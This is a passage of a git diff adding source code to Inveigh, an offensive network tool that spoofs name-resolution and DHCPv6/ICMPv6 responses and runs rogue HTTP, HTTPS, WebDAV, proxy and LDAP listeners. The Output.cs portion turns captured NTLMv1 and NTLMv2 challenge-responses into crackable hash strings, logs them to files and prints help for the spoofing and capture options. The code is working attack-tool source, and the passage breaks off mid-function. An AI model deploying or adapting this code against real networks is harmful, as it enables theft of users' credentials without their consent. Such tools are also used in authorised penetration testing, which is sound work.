+ if (Program.enabledHTTP)
+ {
+
+ foreach (string port in Program.argHTTPPorts)
+ {
+
+ HTTPListener httpListener = new HTTPListener
+ {
+ Challenge = Program.argChallenge,
+ EnabledWebDAV = true,
+ IgnoreAgents = Program.argIgnoreAgents,
+ HTTPAuth = Program.argHTTPAuth,
+ WebDAVAuth = Program.argWebDAVAuth,
+ WPADAuth = Program.argWPADAuth,
+ HTTPRealm = Program.argHTTPRealm,
+ HTTPResponse = Program.argHTTPResponse,
+ WPADResponse = Program.argWPADResponse,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread httpListenerThread = new Thread(() => httpListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port), "HTTP"));
+ httpListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledHTTPS)
+ {
+
+ foreach (string port in Program.argHTTPSPorts)
+ {
+
+ HTTPListener httpsListener = new HTTPListener
+ {
+ Challenge = Program.argChallenge,
+ Cert = Program.argCert,
+ CertPassword = Program.argCertPassword,
+ EnabledWebDAV = true,
+ IgnoreAgents = Program.argIgnoreAgents,
+ HTTPAuth = Program.argHTTPAuth,
+ WebDAVAuth = Program.argWebDAVAuth,
+ WPADAuth = Program.argWPADAuth,
+ HTTPRealm = Program.argHTTPRealm,
+ HTTPResponse = Program.argHTTPResponse,
+ WPADResponse = Program.argWPADResponse,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread httpsListenerThread = new Thread(() => httpsListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port), "HTTPS"));
+ httpsListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledLDAP)
+ {
+
+ foreach (string port in Program.argLDAPPorts)
+ {
+
+ LDAPListener ldapListener = new LDAPListener
+ {
+ Challenge = Program.argChallenge,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread ldapListenerThread = new Thread(() => ldapListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port)));
+ ldapListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledProxy)
+ {
+
+ HTTPListener proxyListener = new HTTPListener
+ {
+ Challenge = Program.argChallenge,
+ EnabledWebDAV = false,
+ IgnoreAgents = Program.argIgnoreAgents,
+ HTTPAuth = Program.argHTTPAuth,
+ WebDAVAuth = Program.argWebDAVAuth,
+ WPADAuth = Program.argWPADAuth,
+ HTTPRealm = Program.argHTTPRealm,
+ HTTPResponse = Program.argHTTPResponse,
+ WPADResponse = Program.argWPADResponse,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread proxyListenerThread = new Thread(() => proxyListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(Program.argProxyPort), "Proxy"));
+ proxyListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+
+ if (Program.enabledLDAP)
+ {
+
+ foreach (string port in Program.argLDAPPorts)
+ {
+
+ LDAPListener ldapv6Listener = new LDAPListener
+ {
+ Challenge = Program.argChallenge,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread ldapv6ListenerThread = new Thread(() => ldapv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port)));
+ ldapv6ListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledHTTP)
+ {
+
+ foreach (string port in Program.argHTTPPorts)
+ {
+
+ HTTPListener httpv6Listener = new HTTPListener
+ {
+ Challenge = Program.argChallenge,
+ EnabledWebDAV = true,
+ IgnoreAgents = Program.argIgnoreAgents,
+ HTTPAuth = Program.argHTTPAuth,
+ WebDAVAuth = Program.argWebDAVAuth,
+ WPADAuth = Program.argWPADAuth,
+ HTTPRealm = Program.argHTTPRealm,
+ HTTPResponse = Program.argHTTPResponse,
+ WPADResponse = Program.argWPADResponse,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread httpv6ListenerThread = new Thread(() => httpv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port), "HTTPv6"));
+ httpv6ListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledHTTPS)
+ {
+
+ foreach (string port in Program.argHTTPPorts)
+ {
+
+ HTTPListener httpsv6Listener = new HTTPListener
+ {
+ Challenge = Program.argChallenge,
+ Cert = Program.argCert,
+ CertPassword = Program.argCertPassword,
+ EnabledWebDAV = true,
+ IgnoreAgents = Program.argIgnoreAgents,
+ HTTPAuth = Program.argHTTPAuth,
+ WebDAVAuth = Program.argWebDAVAuth,
+ WPADAuth = Program.argWPADAuth,
+ HTTPRealm = Program.argHTTPRealm,
+ HTTPResponse = Program.argHTTPResponse,
+ WPADResponse = Program.argWPADResponse,
+ NetbiosDomain = Program.netbiosDomain,
+ ComputerName = Program.computerName,
+ DNSDomain = Program.dnsDomain
+ };
+
+ Thread httpsv6ListenerThread = new Thread(() => httpsv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port), "HTTPSv6"));
+ httpsv6ListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledICMPv6) // todo check linux
+ {
+ ICMPv6Socket icmpV6Socket = new ICMPv6Socket();
+ Thread icmpv6Thread = new Thread(() => icmpV6Socket.Start());
+ icmpv6Thread.Start();
+ }
+
+ }
+
+ }
+
+ Thread controlThread = new Thread(() => ControlLoop(Program.argConsole, Program.consoleQueueLimit, Program.consoleStatus, Program.runCount, Program.runTime));
+ controlThread.Start();
+
+ if (Program.enabledFileOutput)
+ {
+ Thread fileOutputThread = new Thread(() => Output.FileOutput());
+ fileOutputThread.Start();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Support/Output.cs b/Inveigh/Support/Output.cs
new file mode 100644
index 0000000..ce5a3a8
--- /dev/null
+++ b/Inveigh/Support/Output.cs
@@ -0,0 +1,1500 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Linq;
+using System.Diagnostics;
+using Quiddity.Support;
+
+namespace Inveigh
+{
+ class Output
+ {
+
+ public static void OutputLoop()
+ {
+ bool keyDetect = true;
+ bool keyPressed = false;
+
+ do
+ {
+
+ while (Program.enabledConsoleOutput && !keyPressed)
+ {
+
+ try
+ {
+
+ if (keyDetect && Console.KeyAvailable)
+ {
+ keyPressed = true;
+ }
+
+ }
+ catch { keyDetect = false; }
+
+ while (Program.consoleList.Count > 0)
+ {
+ ConsoleOutputFormat(Program.consoleList[0]);
+ Program.consoleList.RemoveAt(0);
+ }
+
+ if (!Program.isRunning)
+ {
+ break;
+ }
+
+ Thread.Sleep(5);
+ }
+
+ } while (Program.isRunning && Program.enabledConsoleOutput && Console.ReadKey(true).Key != ConsoleKey.Escape);
+
+ }
+
+ public static void Queue(string Output)
+ {
+
+ lock (Program.outputList)
+ {
+ Program.outputList.Add(Output);
+ }
+
+ }
+
+ public static void OutputColor(string output, string status, ConsoleColor color)
+ {
+ string[] split = output.Substring(1).Split('[');
+
+ foreach (string segment in split)
+ {
+ string[] split2 = segment.Split(']');
+
+ int i = 0;
+ foreach (string segment2 in split2)
+ {
+ int j = 0;
+ if (i % 2 == 0)
+ {
+ string[] split3 = segment2.Split('|');
+ Console.Write("[");
+
+ foreach (string segment3 in split3)
+ {
+
+ if (j !=0 && j < split3.Length)
+ {
+ Console.Write("|");
+ }
+
+ Console.ForegroundColor = color;
+ Console.Write(segment3);
+ Console.ResetColor();
+ j++;
+ }
+
+ Console.Write("]");
+ }
+ else
+ {
+
+ if (segment2.Contains("\r\n"))
+ {
+ string[] split4 = segment2.Split('\n');
+
+ if (split4.Length == 2)
+ {
+ Console.Write(split4[0] + "\n");
+ Console.ForegroundColor = color;
+ Console.Write(split4[1]);
+ Console.ResetColor();
+ }
+ else
+ {
+ Console.Write(segment2);
+ }
+
+ }
+ else
+ {
+ Console.Write(segment2);
+ }
+
+ }
+
+ i++;
+ }
+
+
+ }
+
+ Console.WriteLine();
+ }
+
+ public static void OutputCommand(string description, string[] headings, IList<string> list, ConsoleColor color)
+ {
+ Console.ForegroundColor = color;
+ int padLeft = (Console.WindowWidth - description.Length) / 2;
+ int padRight = padLeft;
+ int pad = Console.WindowWidth - description.Length - padLeft - padRight;
+ padRight += pad;
+ Console.Write(" ".PadLeft(padLeft, '='));
+ Console.ResetColor();
+ Console.Write(description);
+ Console.ForegroundColor = color;
+ Console.WriteLine(" ".PadRight(padRight, '='));
+ Console.ResetColor();
+ Console.WriteLine();
+
+ int i = 0;
+ foreach (string segment in headings)
+ {
+ if (i < 3)
+ {
+ Console.Write(segment.PadRight(34));
+ }
+ else if (i == 3)
+ {
+ Console.Write(segment);
+ }
+
+ i++;
+ }
+
+ Console.WriteLine();
+ Console.ForegroundColor = color;
+ Console.WriteLine("".PadRight(Console.WindowWidth, '='));
+ Console.ResetColor();
+
+ if (list.Count > 0)
+ {
+
+ foreach (string line in list)
+ {
+ string[] split = line.Split(',');
+ i = 0;
+
+ foreach (string segment in split)
+ {
+
+ if (i < 3)
+ {
+ Console.Write(segment.PadRight(32));
+ }
+ else if (i == 3)
+ {
+ Console.Write(segment);
+ }
+
+ if (i < split.Length - 1)
+ {
+ Console.ForegroundColor = color;
+ Console.Write("| ");
+ Console.ResetColor();
+ }
+
+ i++;
+ }
+
+ Console.WriteLine();
+ }
+
+ }
+ else
+ {
+ Console.WriteLine("No Results");
+ }
+
+ Console.WriteLine();
+ }
+
+ public static void ConsoleOutputFormat(string consoleEntry)
+ {
+
+ if (string.IsNullOrEmpty(consoleEntry))
+ {
+ consoleEntry = "";
+ }
+
+ string entryType = "";
+
+ if (consoleEntry.Length > 1)
+ {
+ entryType = consoleEntry.Substring(1, 1);
+ }
+
+ if (entryType.Equals("."))
+ {
+ Console.WriteLine(consoleEntry);
+ }
+ else if (entryType.Equals("-"))
+ {
+ OutputColor(consoleEntry, "-", Program.colorNegative);
+ }
+ else if (entryType.Equals("+") || consoleEntry.Equals("[redacted]"))
+ {
+ OutputColor(consoleEntry, "+", Program.colorPositive);
+ }
+ else if (entryType.Equals("!"))
+ {
+ Console.ForegroundColor = ConsoleColor.Yellow;
+ Console.WriteLine(consoleEntry);
+ Console.ResetColor();
+ }
+ else if (entryType.Equals("?"))
+ {
+ Console.ForegroundColor = ConsoleColor.DarkRed;
+ Console.WriteLine(consoleEntry);
+ Console.ResetColor();
+ }
+ else if (entryType.Equals("*"))
+ {
+ Console.ForegroundColor = Program.colorPositive;
+ Console.WriteLine(consoleEntry);
+ Console.ResetColor();
+ }
+ else
+ {
+ Console.WriteLine(consoleEntry);
+ }
+
+ }
+
+ public static void StartupOutput()
+ {
+ string address = "Addresses";
+
+ if (!Program.enabledIPv4 || !Program.enabledIPv6)
+ {
+ address = "Address";
+ }
+
+ Queue(string.Format("[*] Inveigh {0} [Started {1} | PID {2}]", Program.version, DateTime.Now.ToString("s"), Process.GetCurrentProcess().Id)); // thanks to @mcorybillington for the pid addition
+ if (Program.enabledInspect) { Program.outputList.Add("[+] Inspect Only Mode"); }
+
+ if (Program.enabledSniffer)
+ {
+ GetStartupMessageIP(string.Concat("Packet Sniffer ", address), Program.argSnifferIP, Program.argSnifferIPv6);
+ }
+ else
+ {
+ Queue("[-] Packet Sniffer");
+ }
+
+ GetStartupMessageIP(string.Concat("Listener ", address), Program.argListenerIP, Program.argListenerIPv6);
+ GetStartupMessageIP(string.Concat("Spoofer Reply ", address), Program.argSpooferIP, Program.argSpooferIPv6);
+
+ string repeat;
+
+ if (Program.enabledRepeat)
+ {
+ repeat = "Enabled";
+ }
+ else
+ {
+ repeat = "Disabled";
+ }
+
+ string localAttacks;
+
+ if (Program.enabledLocal)
+ {
+ localAttacks = "Enabled";
+ }
+ else
+ {
+ localAttacks = "Disabled";
+ }
+
+ Queue(string.Format("[+] Spoofer Options [Repeat {0} | Local Attacks {1}]", repeat, localAttacks));
+ GetStartupMessageUDP("DHCPv6", Program.enabledDHCPv6, null, null, Program.argMAC, Program.argDNSSuffix);
+ GetStartupMessageUDP("DNS", Program.enabledDNS, Program.argDNSTypes, null, null, null);
+
+ if (Program.enabledICMPv6)
+ {
+
+ if (Program.enabledDHCPv6)
+ {
+ Queue(string.Format("[+] ICMPv6 Router Advertisement [Interval {0} Seconds]", Program.argICMPv6Interval));
+ }
+ else if (!string.IsNullOrEmpty(Program.argDNSSuffix))
+ {
+ Queue(string.Format("[+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval {0} Seconds]", Program.argICMPv6Interval));
+ }
+ else
+ {
+ Queue(string.Format("[+] ICMPv6 Router Advertisement [Option DNS | Interval {0} Seconds]", Program.argICMPv6Interval)); // todo check
+ }
+
+ }
+ else
+ {
+ Queue("[-] ICMPv6");
+ }
+
+ GetStartupMessageUDP("LLMNR", Program.enabledLLMNR, Program.argLLMNRTypes, null, null, null);
+ GetStartupMessageUDP("MDNS", Program.enabledMDNS, Program.argMDNSTypes, Program.argMDNSQuestions, null, null);
+ GetStartupMessageUDP("NBNS", Program.enabledNBNS, Program.argNBNSTypes, null, null, null);
+ GetStartupMessageTCP("HTTP", Program.enabledHTTP, Program.argHTTPAuth, Program.argWPADAuth, Program.argHTTPPorts);
+ GetStartupMessageTCP("HTTPS", Program.enabledHTTPS, Program.argHTTPAuth, Program.argWPADAuth, Program.argHTTPSPorts);
+ GetStartupMessageTCP("WebDAV", Program.enabledWebDAV, Program.argWebDAVAuth, null, null);
+ GetStartupMessageTCP("Proxy", Program.enabledProxy, Program.argProxyAuth, null, new string[] { Program.argProxyPort });
+ GetStartupMessageTCP("LDAP", Program.enabledLDAP, null, null, Program.argLDAPPorts);
+ GetStartupMessageTCP("SMB", Program.enabledSMB, null, null, Program.argSMBPorts);
+ if (Program.enabledFileOutput) Queue(string.Format("[+] File Output [{0}]", Program.argFileDirectory));
+ else Queue("[-] File Output");
+ if (Program.isSession) Queue("[+] Previous Session Files [Imported]");
+ else Queue("[+] Previous Session Files (Not Found)");
+ if (Program.runCount == 1) Program.outputList.Add(string.Format("[+] Run Count [{0} Minute]", Program.runCount));
+ else if (Program.runCount > 1) Program.outputList.Add(string.Format("[+] Run Count [{0} Minutes]", Program.runCount));
+ if (Program.runTime == 1) Program.outputList.Add(string.Format("[+] Run Time [{0} Minute]", Program.runTime));
+ else if (Program.runTime > 1) Program.outputList.Add(string.Format("[+] Run Time [{0} Minutes]", Program.runTime));
+ Queue("[*] Press ESC to enter/exit interactive console");
+ }
+
+ public static void GetStartupMessageIP(string ipType, string address1, string address2)
+ {
+ string startupMessage = "";
+ string optionStatus = "-";
+
+ if (Program.enabledIPv4 && !string.IsNullOrEmpty(address1) && Program.enabledIPv6 && !string.IsNullOrEmpty(address2))
+ {
+ optionStatus = "+";
+ startupMessage = string.Format("[{0}] {1} [IP {2} | IPv6 {3}]", optionStatus, ipType, address1, address2);
+ }
+ else if (Program.enabledIPv4 && !string.IsNullOrEmpty(address1))
+ {
+ optionStatus = "+";
+ startupMessage = string.Format("[{0}] {1} [IP {2}]", optionStatus, ipType, address1);
+ }
+ else if (Program.enabledIPv6 && !string.IsNullOrEmpty(address2))
+ {
+ optionStatus = "+";
+ startupMessage = string.Format("[{0}] {1} [IPv6 {2}]", optionStatus, ipType, address2);
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1}", optionStatus, ipType);
+ }
+
+ Queue(startupMessage);
+ }
+
+ public static void GetStartupMessageUDP(string protocol, bool enabled, string[] recordTypes, string[] mdnsQuestions, string option1, string option2)
+ {
+ string startupMessage;
+ string optionType = "Listener";
+ string optionStatus = "-";
+ string types;
+ string typesHeader = "Type";
+ string questions;
+ string questionsHeader = "Question";
+
+ if (Program.enabledSniffer)
+ {
+ optionType = "Packet Sniffer";
+ }
+
+ if (!Utilities.ArrayIsNullOrEmpty(recordTypes) && recordTypes.Length > 1)
+ {
+ typesHeader = "Types";
+ }
+
+ if (!Utilities.ArrayIsNullOrEmpty(mdnsQuestions) && mdnsQuestions.Length > 1)
+ {
+ questionsHeader = "Questions";
+ }
+
+ if (enabled)
+ {
+ optionStatus = "+";
+
+ if (!Utilities.ArrayIsNullOrEmpty(mdnsQuestions) && !Utilities.ArrayIsNullOrEmpty(recordTypes))
+ {
+ types = string.Join(":", recordTypes);
+ questions = string.Join(":", mdnsQuestions);
+ startupMessage = string.Format("[{0}] {1} {2} [{3} {4} | {5} {6}]", optionStatus, protocol, optionType, questionsHeader, questions, typesHeader, types);
+ }
+ else if (!Utilities.ArrayIsNullOrEmpty(recordTypes))
+ {
+ types = string.Join(":", recordTypes);
+ startupMessage = string.Format("[{0}] {1} {2} [{3} {4}]", optionStatus, protocol, optionType, typesHeader, types);
+ }
+ else if (protocol.Equals("DHCPv6"))
+ {
+
+ if (string.IsNullOrEmpty(option2))
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [MAC {3}]", optionStatus, protocol, optionType, option1);
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [MAC {3} | DNS Suffix {4}]", optionStatus, protocol, optionType, option1, option2);
+ }
+
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1} {2}", optionStatus, protocol, optionType);
+ }
+
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1}", optionStatus, protocol);
+ }
+
+ Queue(startupMessage);
+ }
+
+ public static void GetStartupMessageTCP(string protocol, bool enabled, string auth1, string auth2, string[] ports)
+ {
+ string startupMessage = "";
+ string optionType = "Listener";
+ string optionStatus = "-";
+ string portHeading = "Port";
+
+ if (Program.enabledSniffer && protocol.StartsWith("SMB"))
+ {
+ optionType = "Packet Sniffer";
+ }
+
+ if (enabled)
+ {
+ optionStatus = "+";
+
+ if (!Utilities.ArrayIsNullOrEmpty(ports))
+ {
+
+ if (ports.Length > 1)
+ {
+ portHeading = "Ports";
+ }
+
+ if (protocol.StartsWith("HTTP"))
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [HTTPAuth {3} | WPADAuth {4} | {5} {6}]", optionStatus, protocol, optionType, auth1, auth2, portHeading, string.Join(":", ports));
+ }
+ else if (protocol.StartsWith("Proxy"))
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [ProxyAuth {3} | {4} {5}]", optionStatus, protocol, optionType, auth1, portHeading, string.Join(":", ports));
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [{3} {4}]", optionStatus, protocol, optionType, portHeading, string.Join(":", ports));
+ }
+
+ }
+ else if (string.Equals(protocol, "WebDAV"))
+ {
+ startupMessage = string.Format("[{0}] {1} [WebDAVAuth {2}]", optionStatus, protocol, auth1);
+ }
+
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1}", optionStatus, protocol);
+ }
+
+ Queue(startupMessage);
+ }
+
+ public static void NTLMOutput(string user, string domain, string challenge, string ntlmResponse, string sourceIP, string host, string protocol, string protocolPort, string sourcePort, string lmResponse)
+ {
+ string challengeResponse;
+ bool isNTLMv2 = false;
+ bool isNULL = false;
+ string version = "NTLMv1";
+
+ if (ntlmResponse.Length > 48)
+ {
+ isNTLMv2 = true;
+ version = "NTLMv2";
+ }
+ else if (ntlmResponse.Length == 0)
+ {
+ isNULL = true;
+ }
+
+ if (isNTLMv2)
+ {
+ challengeResponse = user + "::" + domain + ":" + challenge + ":" + ntlmResponse.Insert(32, ":");
+ }
+ else
+ {
+ challengeResponse = user + "::" + domain + ":" + lmResponse + ":" + ntlmResponse + ":" + challenge;
+ }
+
+ if (Program.enabledMachineAccountCapture || (!Program.enabledMachineAccountCapture && !user.EndsWith("$")))
+ {
+
+ if (!string.IsNullOrEmpty(challenge))
+ {
+
+ if (!isNULL)
+ {
+ string capture = string.Concat(sourceIP, ",", host, ",", domain, "\\", user);
+ bool isUnique = false;
+
+ if (isNTLMv2 && Program.ntlmv2UsernameList.Any(str => str.Contains(capture)) || (!isNTLMv2 && Program.ntlmv1UsernameList.Any(str => str.Contains(capture))))
+ {
+ isUnique = true;
+ }
+
+ if (Program.enabledConsoleUnique && isUnique)
+ {
+ Queue(string.Format("[+] [{0}] {1}({2}) {3} captured for [{4}\\{5}] from {6}({7}):{8} [not unique]", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort));
+ }
+ else
+ {
+ Queue(string.Format("[+] [{0}] {1}({2}) {3} captured for [{4}\\{5}] from {6}({7}):{8}:\r\n{9}", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort, challengeResponse));
+ }
+
+ if (isNTLMv2)
+ {
+
+ if (Program.enabledFileOutput && (!Program.enabledFileUnique || !isUnique))
+ {
+
+ lock (Program.ntlmv2FileList)
+ {
+ Program.ntlmv2FileList.Add(challengeResponse);
+ }
+
+ Queue(string.Format("[!] [{0}] {1}({2}) {3} for [{4}\\{5}] written to {6}", Timestamp(), protocol, protocolPort, version, domain, user, string.Concat(Program.argFilePrefix, "-NTLMv2.txt")));
+ }
+
+ if (!isUnique)
+ {
+
+ lock (Program.ntlmv2UniqueList)
+ {
+ Program.ntlmv2UniqueList.Add(challengeResponse);
+ }
+
+ lock (Program.ntlmv2UsernameList)
+ {
+ Program.ntlmv2UsernameList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.ntlmv2UsernameFileList)
+ {
+ Program.ntlmv2UsernameFileList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.IPCaptureList)
+ {
+ Program.IPCaptureList.Add(string.Concat(host));
+ }
+
+ lock (Program.HostCaptureList)
+ {
+ Program.HostCaptureList.Add(string.Concat(host));
+ }
+
+ }
+
+ lock (Program.ntlmv2List)
+ {
+ Program.ntlmv2List.Add(challengeResponse);
+ }
+
+ }
+ else
+ {
+
+ if (Program.enabledFileOutput && (!Program.enabledFileUnique || !isUnique))
+ {
+
+ lock (Program.ntlmv1FileList)
+ {
+ Program.ntlmv1FileList.Add(challengeResponse);
+ }
+
+ Queue(string.Format("[+] [{0}] {1}({2}) {3} for [{4}\\{5}] written to {6}", Timestamp(), protocol, protocolPort, version, domain, user, string.Concat(Program.argFilePrefix, "-NTLMv1.txt")));
+ }
+
+ if (!isUnique)
+ {
+
+ lock (Program.ntlmv1UniqueList)
+ {
+ Program.ntlmv1UniqueList.Add(challengeResponse);
+ }
+
+ lock (Program.ntlmv1UsernameList)
+ {
+ Program.ntlmv1UsernameList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.ntlmv1UsernameFileList)
+ {
+ Program.ntlmv1UsernameFileList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.IPCaptureList)
+ {
+ Program.IPCaptureList.Add(string.Concat(host));
+ }
+
+ lock (Program.HostCaptureList)
+ {
+ Program.HostCaptureList.Add(string.Concat(host));
+ }
+
+ }
+
+ lock (Program.ntlmv1List)
+ {
+ Program.ntlmv1List.Add(challengeResponse);
+ }
+
+ }
+
+ }
+ else
+ {
+ Queue(string.Format("[.] [{0}] {1}({2}) NTLM null response from {5}({6}):{7}", Timestamp(), protocol, protocolPort, domain, user, sourceIP, host, sourcePort));
+ }
+
+ }
+ else
+ {
+ Queue(string.Format("[!] [{0}] {1}({2}) {3} challenge missing for {4}\\{5} from {6}({7}):{8}:", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort));
+ Queue(challengeResponse);
+ }
+
+ }
+ else
+ {
+ Queue(string.Format("[-] [{0}] {1}({2}) {3} ignored for {4}\\{5} from {6}({7}):{8} [machine account]", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort));
+ }
+
+ }
+
+ public static void FileOutput()
+ {
+
+ while (Program.isRunning)
+ {
+
+ try
+ {
+ ProcessFileOutput();
+ }
+ catch (Exception ex)
+ {
+ Queue(string.Format("[-] [{0}] File output error detected - {1}", Timestamp(), ex));
+ }
+
+ Thread.Sleep(200);
+ }
+
+ }
+
+ public static void SpooferOutput(string protocol, string type, string request, string clientIP, string outputMessage)
+ {
+ string status = "-";
+
+ if (outputMessage.Equals("response sent"))
+ {
+ status = "+";
+ }
+
+ Queue(string.Format("[{0}] [{1}] {2}({3}) request [{4}] from {5} [{6}]", status, Timestamp(), protocol, type, request, clientIP, outputMessage));
+ }
+
+ public static void DHCPv6Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostname, string message)
+ {
+ string responseStatus = "-";
+
+ if (string.Equals(message, "response sent"))
+ {
+ responseStatus = "+";
+ }
+
+ string responseType = "";
+ string responseAction = "";
+
+ switch (msgType)
+ {
+ case 1:
+ responseType = "solicitation";
+ responseAction = "advertised";
+ break;
+
+ case 3:
+ {
+ responseType = "request";
+ responseAction = "leased";
+ }
+ break;
+
+ case 5:
+ {
+ responseType = "renew";
+ responseAction = "renewed";
+ }
+ break;
+ }
+
+ if (msgType == 3 || msgType == 5 && !Program.dhcpv6List.Contains(clientHostname + "," + clientIP + "," + leaseIP))
+ {
+ Program.dhcpv6List.Add(clientHostname + "," + clientMAC + "," + leaseIP);
+ }
+
+ if (!string.IsNullOrEmpty(clientHostname))
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3}({4}) [{5}]", responseStatus, Output.Timestamp(), responseType, clientIP, clientHostname, message));
+ }
+ else
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3} [{4}]", responseStatus, Output.Timestamp(), responseType, clientIP, message));
+ }
+
+ if (string.Equals(message, "response sent"))
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] {3} to [{4}]", responseStatus, Output.Timestamp(), leaseIP, responseAction, clientMAC));
+ }
+ else
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 client MAC [{2}]", responseStatus, Output.Timestamp(), clientMAC));
+ }
+
+ }
+
+ public static string Timestamp()
+ {
+ return DateTime.Now.ToString("HH:mm:ss");
+ }
+
+ public static void OutputHelp(string argument, string description)
+ {
+ int pad = 15;
+ Console.Write(" -" + argument.PadRight(pad));
+ Console.WriteLine(description);
+ Console.WriteLine();
+ }
+
+ public static void GetHelp(string arg)
+ {
+ bool nullarg = true;
+
+ Console.WriteLine();
+
+ if (nullarg)
+ {
+ Console.WriteLine("Control:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "INSPECT"))
+ {
+ string argument = "Inspect";
+ string description = "Default=Disabled: (Y/N) inspect traffic only.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IPV4"))
+ {
+ string argument = "IPv4";
+ string description = "Default=Enabled: (Y/N) IPv4 spoofing/capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IPV6"))
+ {
+ string argument = "IPv6";
+ string description = "Default=Enabled: (Y/N) IPv6 spoofing/capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "RUNCOUNT"))
+ {
+ string argument = "RunCount";
+ string description = "Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "RUNTIME"))
+ {
+ string argument = "RunTime";
+ string description = "Default=Unlimited: Run time duration in minutes.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg)
+ {
+ Console.WriteLine("");
+ Console.WriteLine("Output:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLE"))
+ {
+ string argument = "Console";
+ string description = "Default=3: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no informational, 3=all)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLELIMIT"))
+ {
+ string argument = "ConsoleLimit";
+ string description = "Default=Unlimited: Limit to queued console entries.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLESTATUS"))
+ {
+ string argument = "ConsoleStatus";
+ string description = "Default=Disabled: Interval in minutes for auto-displaying capture details.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLEUNIQUE"))
+ {
+ string argument = "ConsoleUnique";
+ string description = "Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEDIRECTORY"))
+ {
+ string argument = "FileDirectory";
+ string description = "Default=Working Directory: Valid path to an output directory for enabled file output.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEOUTPUT"))
+ {
+ string argument = "FileOutput";
+ string description = "Default=Disabled: (Y/N) real time file output.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEPREFIX"))
+ {
+ string argument = "FilePrefix";
+ string description = "Default=Inveigh: Prefix for all output files.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEUNIQUE"))
+ {
+ string argument = "FileUnique";
+ string description = "Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LOGOUTPUT"))
+ {
+ string argument = "LogOutput";
+ string description = "Default=Disabled: (Y/N) outputting log entries.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg)
+ {
+ Console.WriteLine();
